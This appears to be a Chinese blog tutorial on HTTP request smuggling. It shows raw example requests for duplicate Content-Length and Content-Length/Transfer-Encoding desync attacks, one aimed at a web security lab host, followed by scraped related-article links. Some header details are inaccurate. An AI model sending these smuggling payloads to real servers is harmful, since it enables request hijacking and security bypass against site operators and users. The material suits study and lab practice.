http走私攻击

前端服务器和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞。 因为当服务器同时在处理Content-Length和Transfer-Encoding,Content-Length是无效的,当服务器一多,有些服务器认为Content-Length的长度有效,有些以Transfer-Encoding有效,就很产生偏差,一般来说当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

方式一:
GET / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 4

111112

此时前端看到的长度为6,那么POST请求没问题,但后端看到是长度为4,那么还有两个12留下来在缓冲区中作为下一个请求的一部分,此时一个正常用户来请求,那么就会变成
12GET / HTTP/1.1
Host: example.com
Content-Length: 6
发生错误无法正常访问

方式二:
GET / HTTP/1.1
Host: example.com
Content-Length:6
Transfer_Encoding:chunked //需要用0独占一行表示结束并在0后空两行表示数据包结束,否则还是waiting状态。

0 

G

下面用户拼接,因为此时表面上是空白的,但是却是由换行符回车键的及\r\n,这也是为什么content-length为6:

GPOST / HTTP/1.1

发生错误

方式三:transfer-encoding与content-length一起。

POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

此时前端处理transfer-encoding,后端处理content-Length,导致GPOST / HTTP/1.1留在缓冲区中。

参考链接:https://paper.seebug.org/1048/

http走私攻击的更多相关文章

  1. 这可能是最详细的解析HTTP走私攻击的文章

    前言 HTTP Desync Attacks也就是HTTP走私攻击,是我见到的比较有趣的一种攻击方式,这里来对这种漏洞进行介绍. TL;DR HTTP走私攻击利用了HTTP协议本身的问题:HTTP中存 ...

  2. 分析HTTP请求以降低HTTP走私攻击HTTP数据接收不同步攻击的风险

    写在前面的话 HTTP/1.1自1991年至2014年,已经走过了一段很长的发展历程: HTTP/0.9– 1991 HTTP/1.0– 1996 HTTP/1.1 RFC 2068– 1997 RF ...

  3. [RoarCTF 2019]Easy Calc-协议层攻击之HTTP请求走私

    0X01:什么是HTTP请求走私 HTTP请求走私属于协议层攻击,是服务器漏洞的一种. HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术.使攻击者可以绕过安全控制, ...

  4. HTTP Request Smuggling 请求走私

    参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...

  5. 通过一道CTF学习HTTP协议请求走私

    HTTP请求走私 HTTP请求走私 HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式,进行绕过安全机制,实施未授权访问一种攻击手段,获取敏感信息,并直接危害其他用户. 请求走私 ...

  6. 协议层安全相关《http请求走私与CTF利用》

    0x00 前言 最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx< ...

  7. [RoarCTF]Easy Calc

    目录 [RoarCTF]Easy Calc 知识点 1.http走私绕过WAF 2.php字符串解析特性绕过WAF 3.绕过过滤写shell [RoarCTF]Easy Calc 题目复现链接:htt ...

  8. BUUCTF | [RoarCTF 2019]Easy Calc

    看一下页面源码,发现了提示: calc.php?num=encodeURIComponent($("#content").val()) $("#content" ...

  9. CISCN love_math和roarctf的easy_clac学习分析

    Love_math 题目源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show ...

随机推荐

  1. openstack nova 创建虚机流程

    1文件 nova.api.openstack.coumpute.servers1函数 def create(self, req, body):1调用 (instances, resv_id) = se ...

  2. springboot整合websocket后打包报错:javax.websocket.server.ServerContainer not available

    项目整合了websocket以后,打包多次都没有成功,原来是报错了,报错内容如下: Error starting ApplicationContext. To display the conditio ...

  3. classmethod与staticmethod

    1.classmethod   @classmethod # 把一个对象绑定的方法 修改成一个 类方法第一,在方法中仍然可以引用类中的静态变量第二,可以不用实例化对象,就直接用类名在外部调用这个方法什 ...

  4. python数值运算 四则运算

    数值运算 描述 获得用户输入的一个字符串,格式如下:‪‬‪‬‪‬‪‬‪‬‮‬‫‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‭‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‮‬‪‬‪‬‪‬‪‬‪‬ ...

  5. 解决git add README.md 时报错 fatal: pathspec 'README.md' did not match any files

    解决办法一: 直接在远程仓库创建然后在本地$ git pull origin master 解决办法二: 换成$ touch README.md在本地创建修改后再commit push上去

  6. 从APP的启动说起

    iOS里面APP的启动,过程有些复杂,今天我们来抽丝剥茧,一步步探讨一下APP的启动会经历哪些过程. 首先,用户点击iPhone里面的某个APP的icon,Kernel内核会开始初始化空间并创建进程, ...

  7. 冒泡排序的优化方案BubbleSort

    <?php /** * 冒泡排序 * * ------------------------------------------------------------- * 思路分析:就是像冒泡一样 ...

  8. .NET5.0 单文件发布打包操作深度剖析

    .NET5.0 单文件发布打包操作深度剖析 前言 随着 .NET5.0 Preview 8 的发布,许多新功能正在被社区成员一一探索:这其中就包含了"单文件发布"这个炫酷的功能,实 ...

  9. php中的加密解密模块-mcrypt

    <?php /* 打开加密算法和模式 */ $td = mcrypt_module_open('rijndael-256', '', 'ofb', ''); /* 创建初始向量,并且检测密钥长度 ...

  10. Jmeter简单操作 取样器 ,监听器

    1.创建线程组 1.2 (1)  线程组主要包含三个参数:线程数.准备时长(Ramp-Up Period(in seconds)).循环次数. (2) 线程数:虚拟用户数.一个虚拟用户占用一个进程或线 ...